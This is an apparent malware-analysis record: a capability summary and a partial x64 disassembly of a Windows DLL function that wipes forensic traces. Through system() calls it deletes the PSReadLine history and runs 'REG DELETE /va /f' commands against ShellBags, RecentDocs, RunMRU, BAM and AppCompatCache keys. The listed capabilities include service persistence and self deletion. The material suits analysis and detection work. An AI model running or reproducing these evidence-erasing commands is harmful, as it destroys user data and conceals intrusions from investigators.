Function at 0x180031950
Capabilities:
Delete directory
Delete file
Execute command
Get session user name
Persist via windows service
Self delete
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x998]
sub rsp, 0xa70
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1800b3040]
xor rax, rsp
mov qword [rbp + 0x950], rax
xor r13d, r13d
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2f0], xmm1
mov r8d, 0x38
lea rdx, str.C:_users__username__Searches_Indexed_Locations.search_ms
lea rcx, [rbp + 0x2e0]
call fcn.180037400
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2b0], xmm1
mov r8d, 0x4b
lea rdx, str.C:_Users__username__AppData_Roaming_Microsoft_Windows_PowerShell_PSReadLine
lea rcx, [rbp + 0x2a0]
call fcn.180037400
nop
lea rcx, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], 0xf
cmova rcx, qword [rbp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x180031a54
lea rdx, str.Error_deleting_folder:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.18003b710
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x18003b8f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Failed_to_delete_folder.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
jmp 0x180031a62
lea rdx, str.Folder_deleted_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18003b710
lea rdx, [0x18003b8f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x2e0]
cmp qword [rbp + 0x2f8], 0xf
cmova rcx, qword [rbp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x180031adf
lea rdx, str.Error_deleting_folder:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.18003b710
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x18003b8f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Failed_to_delete_folder.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
jmp 0x180031aed
lea rdx, str.Folder_deleted_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18003b710
lea rdx, [0x18003b8f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0x278], 0x64
lea rdx, [rbp + 0x278]
lea rcx, [rbp + 0x7d0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x180031b47
lea rdx, str.Error_getting_user_SID.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.18003b710
lea rdx, [0x18003b8f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.REG_DELETE_HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerRecentDocs
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_LOCAL_MACHINESOFTWAREClientsStartMenuInternet
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRUdll
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bam
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerFileExts.dllOpenWithList
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareClassesLocal_SettingsSoftwareMicrosoftWindowsShellMuiCache___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareClassesLocal_SettingsSoftwareMicrosoftWindowsShellBagMRU___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareClassesLocal_SettingsSoftwareMicrosoftWindowsShellBags___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellBagMRU___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellBags___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32FirstFolder___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32LastVisitedPidlMRU___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32LastVisitedPidlMRULegacy___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRU___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSavePidlMRU_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession_ManagerAppCompatCache___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001ControlSession_ManagerAppCompatCache___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESOFTWAREMicrosoftRADARHeapLeakDetectionDiagnosedApplications___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD__HKEY_LOCAL_MACHINESOFTWAREMicrosoftRADARHeapLeakDetectionDiagnosedApplications_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rax, [rbp + 0x7d0]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180031c70
lea rdx, [rbp + 0x7d0]
lea rcx, [rsp + 0x30]
call fcn.180037400
nop
mov r8, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
sub rax, r8
lea rdx, [0x1800a604f]
mov esi, 0x17
lea rbx, str.REG_DELETE__HKEY_USERS_
cmp rax, rsi
jb 0x180031d29
lea rax, [r8 + 0x17]
mov qword [rsp + 0x40], rax
lea r14, [rsp + 0x30]
cmp rcx, 0xf
cmova r14, qword [rsp + 0x30]
cmp rdx, r14
jbe 0x180031cec
lea rax, [r14 + r8]
cmp rbx, rax
ja 0x180031cec
cmp r14, rbx
ja 0x180031ce4
mov r15, r13
jmp 0x180031cef
mov r15, r14
sub r15, rbx
jmp 0x180031cef
mov r15, rsi
inc r8
lea rcx, [r14 + 0x17]
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
mov r8, r15
mov rdx, rbx
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov r8, rsi
sub r8, r15
lea rdx, [rbx + 0x17]
add rdx, r15
lea rcx, [r14 + r15]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x30]
jmp 0x180031d40
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rbx
mov rdx, rsi
lea rcx, [rsp + 0x30]
call fcn.18003cef0
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x180], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x170], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x180], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r13
mov byte [rax], 0
mov r8d, 0x40
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionSearchRecentApps___f
lea rcx, [rbp + 0x170]
call fcn.18003ae90
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x80], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova rcx, qword [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x180031e1d
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031e18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031e18
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
movdqa xmm6, xmmword [0x1800aa3f0]
movdqu xmmword [rbp + 0x80], xmm6
mov byte [rbp + 0x70], 0
mov rdx, qword [rbp + 0x188]
cmp rdx, 0xf
jbe 0x180031e75
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031e70
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031e70
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
movdqu xmmword [rbp + 0x180], xmm6
mov byte [rbp + 0x170], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x180031ec4
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180031ebf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180031ebf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea rax, [rbp + 0x7d0]
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x180031ee0
lea rdx, [rbp + 0x7d0]
lea rcx, [rsp + 0x50]
call fcn.180037400
nop
mov r8, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
sub rax, r8
lea rdx, [0x1800a60a4]
mov r12d, 0x14
lea r15, str.REG_ADD__HKEY_USERS_
cmp rax, r12
jb 0x180031f98
lea rax, [r8 + 0x14]
mov qword [rsp + 0x60], rax
lea r14, [rsp + 0x50]
cmp rcx, 0xf
cmova r14, qword [rsp + 0x50]
cmp rdx, r14
jbe 0x180031f58
lea rax, [r8 + r14]
cmp r15, rax
ja 0x180031f58
cmp r14, r15
jbe 0x180031f5b
mov r13, r14
sub r13, r15
jmp 0x180031f5b
mov r13, r12
inc r8
lea rcx, [r14 + 0x14]
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
mov r8, r13
mov rdx, r15
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov r8, r12
sub r8, r13
lea rdx, [r15 + 0x14]
add rdx, r13
lea rcx, [r14 + r13]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x50]
xor r13d, r13d
jmp 0x180031faf
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r15
mov rdx, r12
lea rcx, [rsp + 0x50]
call fcn.18003cef0
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1a0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x190], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1a0], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r13
mov byte [rax], 0
mov r8d, 0x3d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionSearchRecentApps_
lea rcx, [rbp + 0x190]
call fcn.18003ae90
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x18003209b
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032096
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032096
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
movdqu xmmword [rbp + 0xa0], xmm6
mov byte [rbp + 0x90], 0
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x1800320ee
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800320e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800320e9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
movdqu xmmword [rbp + 0x1a0], xmm6
mov byte [rbp + 0x190], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x18003213d
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032138
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032138
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
lea rax, [rbp + 0x7d0]
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180032160
lea rdx, [rbp + 0x7d0]
lea rcx, [rsp + 0x70]
call fcn.180037400
nop
mov r8, qword [rbp - 0x80]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
sub rax, r8
cmp rax, 0x52
jb 0x180032225
lea rax, [r8 + 0x52]
mov qword [rbp - 0x80], rax
lea r14, [rsp + 0x70]
cmp rcx, 0xf
cmova r14, qword [rsp + 0x70]
lea rax, [0x1800a6112]
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamUserSettings_
cmp rax, r14
jbe 0x1800321d4
lea rax, [r14 + r8]
cmp rcx, rax
ja 0x1800321d4
cmp r14, rcx
jbe 0x1800321da
mov r13, r14
sub r13, rcx
jmp 0x1800321da
mov r13d, 0x52
inc r8
lea rcx, [r14 + 0x52]
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
mov r8, r13
lea rdx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamUserSettings_
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x52
sub r8, r13
lea rdx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamUserSettings_
add rdx, 0x52
add rdx, r13
lea rcx, [r14 + r13]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x70]
xor r13d, r13d
jmp 0x180032247
mov ecx, 0x52
mov qword [rsp + 0x28], rcx
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices_bamUserSettings_
mov qword [rsp + 0x20], rax
mov edx, ecx
lea rcx, [rsp + 0x70]
call fcn.18003cef0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1c0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1c0], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r13
mov byte [rax], 0
mov r8d, 8
lea rdx, str.___va__f
lea rcx, [rbp + 0x1b0]
call fcn.18003ae90
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rcx, qword [rbp + 0xb0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x180032333
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003232e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18003232e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
movdqu xmmword [rbp + 0xc0], xmm6
mov byte [rbp + 0xb0], 0
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0xf
jbe 0x180032386
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032381
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032381
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
movdqu xmmword [rbp + 0x1c0], xmm6
mov byte [rbp + 0x1b0], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x1800323d4
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800323cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800323cf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
lea rax, [rbp + 0x7d0]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800323f0
lea rdx, [rbp + 0x7d0]
lea rcx, [rbp - 0x70]
call fcn.180037400
nop
mov r8, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
sub rax, r8
cmp rax, 0x4e
jb 0x1800324b1
lea rax, [r8 + 0x4e]
mov qword [rbp - 0x60], rax
lea r14, [rbp - 0x70]
cmp rcx, 0xf
cmova r14, qword [rbp - 0x70]
lea rax, [0x1800a616e]
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamUserSettings_
cmp rax, r14
jbe 0x180032461
lea rax, [r14 + r8]
cmp rcx, rax
ja 0x180032461
cmp r14, rcx
jbe 0x180032467
mov r13, r14
sub r13, rcx
jmp 0x180032467
mov r13d, 0x4e
inc r8
lea rcx, [r14 + 0x4e]
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
mov r8, r13
lea rdx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamUserSettings_
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x4e
sub r8, r13
lea rdx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamUserSettings_
add rdx, 0x4e
add rdx, r13
lea rcx, [r14 + r13]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x70]
xor r13d, r13d
jmp 0x1800324d2
mov ecx, 0x4e
mov qword [rsp + 0x28], rcx
lea rax, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamUserSettings_
mov qword [rsp + 0x20], rax
mov edx, ecx
lea rcx, [rbp - 0x70]
call fcn.18003cef0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1e0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1e0], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r13
mov byte [rax], 0
mov r8d, 8
lea rdx, str.___va__f
lea rcx, [rbp + 0x1d0]
call fcn.18003ae90
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova rcx, qword [rbp + 0xd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x1800325be
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800325b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800325b9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
movdqu xmmword [rbp + 0xe0], xmm6
mov byte [rbp + 0xd0], 0
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x180032611
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003260c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18003260c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
movdqu xmmword [rbp + 0x1e0], xmm6
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x18003265e
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180032659
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180032659
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d440
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
lea rax, [rbp + 0x7d0]
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180032680
lea rdx, [rbp + 0x7d0]
lea rcx, [rbp - 0x50]
call fcn.180037400
nop
mov r8, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
sub rax, r8
cmp rax, 0x17
jb 0x180032728
lea rax, [r8 + 0x17]
mov qword [rbp - 0x40], rax
lea r14, [rbp - 0x50]
cmp rcx, 0xf
cmova r14, qword [rbp - 0x50]
lea rax, [0x1800a604f]
cmp rax, r14
jbe 0x1800326e6
lea rax, [r14 + r8]
cmp rbx, rax
ja 0x1800326e6
cmp r14, rbx
jbe 0x1800326e9
mov r13, r14
sub r13, rbx
jmp 0x1800326e9
mov r13, rsi
inc r8
lea rcx, [r14 + 0x17]
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
mov r8, r13
mov rdx, rbx
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov r8, rsi
sub r8, r13
lea rdx, [0x1800a604f]
add rdx, r13
lea rcx, [r14 + r13]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x50]
xor r13d, r13d
jmp 0x18003273e
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rbx
mov rdx, rsi
lea rcx, [rbp - 0x50]
call fcn.18003cef0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x200], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x200], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r13
mov byte [rax], 0
mov r8d, 0x4b
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers___va__f
lea rcx, [rbp + 0x1f0]
call fcn.18003ae90
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [rax]
